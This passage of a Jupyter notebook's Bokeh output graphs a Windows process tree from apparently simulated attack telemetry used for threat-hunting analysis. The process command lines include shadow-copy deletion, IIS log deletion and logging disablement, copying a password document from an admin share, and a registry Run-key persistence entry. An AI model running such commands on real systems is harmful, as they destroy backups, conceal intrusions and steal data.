"graph_layout\":{\"1234.exe\":[0.2767253991492111,-0.02700006431162877],\"42424.exe\":[0.17882823320099558,0.0765322325096196],\"ASMHost.exe\":[-0.4858882384550991,0.9259593629035684],\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\":[0.1308617577297212,-0.0641656453880769],\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\":[0.6653802297335618,0.9543944273854804],\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\":[-0.36815509239801714,0.865574457647274],\"C:\\\\Windows\\\\System32\\\\cmd.exe\":[-0.21949570284952977,-0.3847554402346661],\"C:\\\\Windows\\\\System32\\\\svchost.exe\":[0.6927587161229084,-0.3047288583669071],\"WmiPrvSE.exe\":[0.8225215264570586,-0.34643976714968555],\"cmd.exe\":[-0.34910234266240125,-0.2753099989789498],\"conhost.exe\":[0.7434283630823999,0.8955366729259531],\"cscript.exe\":[-0.3522337847382936,1.0],\"doubleextension.pdf.exe\":[-0.2386714109730582,-0.24301453218817076],\"netsh.exe\":[-0.20399868649482822,-0.5598174023730934],\"perfc.dat\":[-0.07885832135507057,-0.39865786922540053],\"reg.exe\":[-0.03320248949151646,-0.2131030175311169],\"rundll32.exe\":[-0.37557033255908245,-0.47318982941416243],\"sdopfjiowtbkjfnbeioruj.exe\":[-0.1077244322622118,-0.5114804091331229],\"tsetup.1.exe\":[-0.30469532842028707,-0.5443580491500684],\"vssadmin.exe\":[-0.3929080628164616,-0.37197626992684524]}},\"id\":\"5546\",\"type\":\"StaticLayoutProvider\"},{\"attributes\":{},\"id\":\"5577\",\"type\":\"NodesAndLinkedEdges\"},{\"attributes\":{\"callback\":null,\"renderers\":[{\"id\":\"5540\"}],\"tooltips\":[[\"TimeGenerated\",\"@{TimeGenerated}\"]]},\"id\":\"5590\",\"type\":\"HoverTool\"},{\"attributes\":{\"fill_color\":{\"field\":\"node_color\"},\"size\":{\"value\":25}},\"id\":\"5562\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"5888\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"rundll32.exe\",\"text_font_size\":\"10pt\",\"x\":-0.37557033255908245,\"x_offset\":5,\"y\":-0.47318982941416243,\"y_offset\":5},\"id\":\"5607\",\"type\":\"Label\"},{\"attributes\":{\"fill_color\":{\"value\":\"#fdae61\"},\"size\":{\"value\":25}},\"id\":\"5572\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"sdopfjiowtbkjfnbeioruj.exe\",\"text_font_size\":\"10pt\",\"x\":-0.1077244322622118,\"x_offset\":5,\"y\":-0.5114804091331229,\"y_offset\":5},\"id\":\"5614\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"text_font_size\":\"10pt\",\"x\":0.1308617577297212,\"x_offset\":5,\"y\":-0.0641656453880769,\"y_offset\":5},\"id\":\"5608\",\"type\":\"Label\"},{\"attributes\":{\"data\":{\"CommandLine\":[null,\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",null,\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",null,\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",null,\".\\\\reg  not /domain:everything that /sid:shines is /krbtgt:golden !, reg.exe, .\\\\reg.exe  add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd  /c \\\"systeminfo && systeminfo\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP =2013Role Server -force&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm set winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\ProgramData\\\"&copy \\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change Dates.docx\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo [S]&cd&echo [E]\\\"\",\".\\\\rundll32  /C 42424.exe, .\\\\rundll32  /C c:\\\\users\\\\MSTICAdmin\\\\42424.exe, .\\\\rundll32  /C 1234.exe, .\\\\rundll32  /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe, .\\\\rundll32  /C reg.exe, .\\\\rundll32.exe  /C mshtml,RunHTMLApplication javascript:alert(tada!)\",null,\"42424.exe\",\"1234.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe  C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\netsh.exe  \\\"in (*.exe) do start # artificial commandline solely for purposes of triggering test\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin  delete shadows /all /quiet\"],\"NewProcessName\":[null,\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",null,\"C:\\\\Windows\\\\System32\\\\conhost.exe\",null,\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",null,\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",null,\"C:\\\\Diagnostics\\\\UserTmp\\\\42424.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\1234.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\"],\"ParentProcessName\":[null,\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",null,\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",null,\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",null,\"C:\\\\Windows\\\\System32\\\\cmd.exe, C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",null,\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"SubjectDomainName\":[\"WORKGROUP\",null,\"WORKGROUP\",null,\"WORKGROUP\",null,null,\"MSTICAlertsWin1\",null,null,null,\"MSTICAlertsWin1\",null,null,null,null,null,null,null,null],\"SubjectLogonId\":[\"0x3e7\",null,\"0x3e7\",null,\"0x3e7\",null,null,\"0xfaac27\",null,null,null,\"0xfaac27\",null,null,null,null,null,null,null,null],\"index\":[\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"ASMHost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"conhost.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"WmiPrvSE.exe\",\"cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"reg.exe\",\"cmd.exe\",\"rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"42424.exe\",\"1234.exe\",\"tsetup.1.exe\",\"netsh.exe\",\"perfc.dat\",\"sdopfjiowtbkjfnbeioruj.exe\",\"doubleextension.pdf.exe\",\"vssadmin.exe\"],\"node_color\":[\"lightblue\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\"],\"node_role\":[\"source\",\"target\",\"source\",\"target\",\"source\",\"target\",\"target\",\"source\",\"target\",\"target\",\"target\",\"source\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\"],\"node_type\":[\"ParentProcessName\",\"Process\",\"ParentProcessName\",\"Process\",\"ParentProcessName\",\"Process\",\"Process\",\"ParentProcessName\",\"Process\",\"Process\",\"Process\",\"ParentProcessName\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\"]},\"selected\":{\"id\":\"5887\"},\"selection_policy\":{\"id\":\"5886\"}},\"id\":\"5535\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"5539\"}},\"id\":\"5541\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"5579\",\"type\":\"EdgesAndLinkedNodes\"},{\"attributes\":{\"callback\":null},\"id\":\"5591\",\"type\":\"TapTool\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"5505\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cscript.exe\",\"text_font_size\":\"10pt\",\"x\":-0.3522337847382936,\"x_offset\":5,\"y\":1.0,\"y_offset\":5},\"id\":\"5603\",\"type\":\"Label\"},{\"attributes\":{\"line_color\":{\"value\":\"#fdae61\"},\"line_width\":{\"value\":5}},\"id\":\"5557\",\"type\":\"MultiLine\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"text_font_size\":\"10pt\",\"x\":-0.36815509239801714,\"x_offset\":5,\"y\":0.865574457647274,\"y_offset\":5},\"id\":\"5597\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5879\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"data\":{\"TimeGenerated\":[\"2019-01-15 04:18:24.003\",\"2019-01-15 05:13:26.007\",\"2019-01-15 04:18:24.020\",\"2019-01-15 04:18:25.490\",\"2019-01-15 05:15:16.563\",\"2019-01-15 05:15:16.967\",\"2019-01-15 05:15:16.663\",\"2019-01-15 05:15:16.613\",\"2019-01-15 05:15:16.677\",\"2019-01-15 05:15:17.020\",\"2019-01-15 05:15:17.077\",\"2019-01-15 05:15:17.127\",\"2019-01-15 05:15:17.137\",\"2019-01-15 05:15:16.520\",\"2019-01-15 05:15:16.353\",\"2019-01-15 05:15:16.447\"],\"end\":[\"ASMHost.exe\",\"cscript.exe\",\"conhost.exe\",\"WmiPrvSE.exe\",\"reg.exe\",\"cmd.exe\",\"rundll32.exe\",\"tsetup.1.exe\",\"netsh.exe\",\"perfc.dat\",\"sdopfjiowtbkjfnbeioruj.exe\",\"doubleextension.pdf.exe\",\"vssadmin.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"42424.exe\",\"1234.exe\"],\"start\":[\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\"]},\"selected\":{\"id\":\"5889\"},\"selection_policy\":{\"id\":\"5888\"}},\"id\":\"5539\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"5887\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"5516\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"5880\",\"type\":\"AllLabels\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"1234.exe\",\"text_font_size\":\"10pt\",\"x\":0.2767253991492111,\"x_offset\":5,\"y\":-0.02700006431162877,\"y_offset\":5},\"id\":\"5610\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"5879\"},\"group\":null,\"major_label_policy\":{\"id\":\"5880\"},\"ticker\":{\"id\":\"5516\"}},\"id\":\"5515\",\"type\":\"LinearAxis\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"5885\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"perfc.dat\",\"text_font_size\":\"10pt\",\"x\":-0.07885832135507057,\"x_offset\":5,\"y\":-0.39865786922540053,\"y_offset\":5},\"id\":\"5613\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"vssadmin.exe\",\"text_font_size\":\"10pt\",\"x\":-0.3929080628164616,\"x_offset\":5,\"y\":-0.37197626992684524,\"y_offset\":5},\"id\":\"5616\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"5535\"},\"glyph\":{\"id\":\"5562\"},\"group\":null,\"hover_glyph\":{\"id\":\"5567\"},\"selection_glyph\":{\"id\":\"5572\"},\"view\":{\"id\":\"5537\"}},\"id\":\"5536\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"netsh.exe\",\"text_font_size\":\"10pt\",\"x\":-0.20399868649482822,\"x_offset\":5,\"y\":-0.5598174023730934,\"y_offset\":5},\"id\":\"5612\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cmd.exe\",\"text_font_size\":\"10pt\",\"x\":-0.34910234266240125,\"x_offset\":5,\"y\":-0.2753099989789498,\"y_offset\":5},\"id\":\"5606\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5524\",\"type\":\"HelpTool\"},{\"attributes\":{},\"id\":\"5882\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"text_font_size\":\"10pt\",\"x\":-0.21949570284952977,\"x_offset\":5,\"y\":-0.3847554402346661,\"y_offset\":5},\"id\":\"5604\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5889\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"conhost.exe\",\"text_font_size\":\"10pt\",\"x\":0.7434283630823999,\"x_offset\":5,\"y\":0.8955366729259531,\"y_offset\":5},\"id\":\"5600\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Data Graph\"},\"id\":\"5501\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"5883\",\"type\":\"AllLabels\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"text_font_size\":\"10pt\",\"x\":0.6653802297335618,\"x_offset\":5,\"y\":0.9543944273854804,\"y_offset\":5},\"id\":\"5599\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5507\",\"type\":\"LinearScale\"},{\"attributes\":{\"line_color\":{\"value\":\"#abdda4\"},\"line_width\":{\"value\":5}},\"id\":\"5547\",\"type\":\"MultiLine\"},{\"attributes\":{\"axis\":{\"id\":\"5515\"},\"coordinates\":null,\"dimension\":1,\"group\":null,\"ticker\":null},\"id\":\"5518\",\"type\":\"Grid\"},{\"attributes\":{\"tools\":[{\"id\":\"5519\"},{\"id\":\"5520\"},{\"id\":\"5521\"},{\"id\":\"5522\"},{\"id\":\"5523\"},{\"id\":\"5524\"},{\"id\":\"5585\"},{\"id\":\"5590\"},{\"id\":\"5591\"},{\"id\":\"5592\"}]},\"id\":\"5526\",\"type\":\"Toolbar\"},{\"attributes\":{\"line_alpha\":{\"value\":0.8}},\"id\":\"5552\",\"type\":\"MultiLine\"},{\"attributes\":{\"overlay\":{\"id\":\"5885\"}},\"id\":\"5592\",\"type\":\"BoxSelectTool\"},{\"attributes\":{\"fill_color\":{\"value\":\"#abdda4\"},\"size\":{\"value\":25}},\"id\":\"5567\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"5522\",\"type\":\"SaveTool\"},{\"attributes\":{},\"id\":\"5519\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"5512\",\"type\":\"BasicTicker\"},{\"attributes\":{\"axis\":{\"id\":\"5511\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"5514\",\"type\":\"Grid\"},{\"attributes\":{\"callback\":null,\"renderers\":[{\"id\":\"5536\"}],\"tooltips\":[[\"node_type\",\"@node_type\"],[\"NewProcessName\",\"@{NewProcessName}\"],[\"CommandLine\",\"@{CommandLine}\"],[\"SubjectDomainName\",\"@{SubjectDomainName}\"],[\"SubjectLogonId\",\"@{SubjectLogonId}\"],[\"ParentProcessName\",\"@{ParentProcessName}\"]]},\"id\":\"5585\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"5523\",\"type\":\"ResetTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"reg.exe\",\"text_font_size\":\"10pt\",\"x\":-0.03320248949151646,\"x_offset\":5,\"y\":-0.2131030175311169,\"y_offset\":5},\"id\":\"5605\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"5882\"},\"group\":null,\"major_label_policy\":{\"id\":\"5883\"},\"ticker\":{\"id\":\"5512\"}},\"id\":\"5511\",\"type\":\"LinearAxis\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"tsetup.1.exe\",\"text_font_size\":\"10pt\",\"x\":-0.30469532842028707,\"x_offset\":5,\"y\":-0.5443580491500684,\"y_offset\":5},\"id\":\"5611\",\"type\":\"Label\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"5503\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"edge_renderer\":{\"id\":\"5540\"},\"group\":null,\"inspection_policy\":{\"id\":\"5579\"},\"layout_provider\":{\"id\":\"5546\"},\"node_renderer\":{\"id\":\"5536\"},\"selection_policy\":{\"id\":\"5577\"}},\"id\":\"5533\",\"type\":\"GraphRenderer\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"42424.exe\",\"text_font_size\":\"10pt\",\"x\":0.17882823320099558,\"x_offset\":5,\"y\":0.0765322325096196,\"y_offset\":5},\"id\":\"5609\",\"type\":\"Label\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"5525\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"WmiPrvSE.exe\",\"text_font_size\":\"10pt\",\"x\":0.8225215264570586,\"x_offset\":5,\"y\":-0.34643976714968555,\"y_offset\":5},\"id\":\"5602\",\"type\":\"Label\"},{\"attributes\":{\"source\":{\"id\":\"5535\"}},\"id\":\"5537\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"ASMHost.exe\",\"text_font_size\":\"10pt\",\"x\":-0.4858882384550991,\"x_offset\":5,\"y\":0.9259593629035684,\"y_offset\":5},\"id\":\"5598\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5886\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"5520\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"overlay\":{\"id\":\"5525\"}},\"id\":\"5521\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"5509\",\"type\":\"LinearScale\"}],\"root_ids\":[\"5500\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"dade234b-7158-4cc5-81c4-91261bf2e2b4\",\"root_ids\":[\"5500\"],\"roots\":{\"5500\":\"fe104578-2514-48ae-9054-2d4e1a0a1713\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "5500"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div style=\"display: table;\"><div style=\"display: table-row;\"><div style=\"display: table-cell;\"><b title=\"bokeh.plotting.figure.Figure\">Figure</b>(</div><div style=\"display: table-cell;\">id&nbsp;=&nbsp;'5500', <span id=\"6008\" style=\"cursor: pointer;\">&hellip;)</span></div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">above&nbsp;=&nbsp;[],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">align&nbsp;=&nbsp;'start',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_ratio&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">aspect_scale&nbsp;=&nbsp;1,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">background_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">below&nbsp;=&nbsp;[LinearAxis(id='5511', ...)],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_alpha&nbsp;=&nbsp;1.0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">border_fill_color&nbsp;=&nbsp;'#ffffff',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">center&nbsp;=&nbsp;[Grid(id='5514', ...), Grid(id='5518', ...), Label(id='5597', ...), Label(id='5598', ...), Label(id='5599', ...), Label(id='5600', ...), Label(id='5601', ...), Label(id='5602', ...), Label(id='5603', ...), Label(id='5604', ...), Label(id='5605', ...), Label(id='5606', ...), Label(id='5607', ...), Label(id='5608', ...), Label(id='5609', ...), Label(id='5610', ...), Label(id='5611', ...), Label(id='5612', ...), Label(id='5613', ...), Label(id='5614', ...), Label(id='5615', ...), Label(id='5616', ...)],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">css_classes&nbsp;=&nbsp;[],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">disabled&nbsp;=&nbsp;False,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_ranges&nbsp;=&nbsp;{},</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_x_scales&nbsp;=&nbsp;{},</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_ranges&nbsp;=&nbsp;{},</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">extra_y_scales&nbsp;=&nbsp;{},</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_height&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">frame_width&nbsp;=&nbsp;None,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height&nbsp;=&nbsp;800,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">height_policy&nbsp;=&nbsp;'auto',</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">hidpi&nbsp;=&nbsp;True,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_height&nbsp;=&nbsp;0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">inner_width&nbsp;=&nbsp;0,</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_event_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">js_property_callbacks&nbsp;=&nbsp;{},</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div style=\"display: table-cell;\">left&nbsp;=&nbsp;[LinearAxis(id='5515', ...)],</div></div><div class=\"6007\" style=\"display: none;\"><div style=\"display: table-cell;\"></div><div 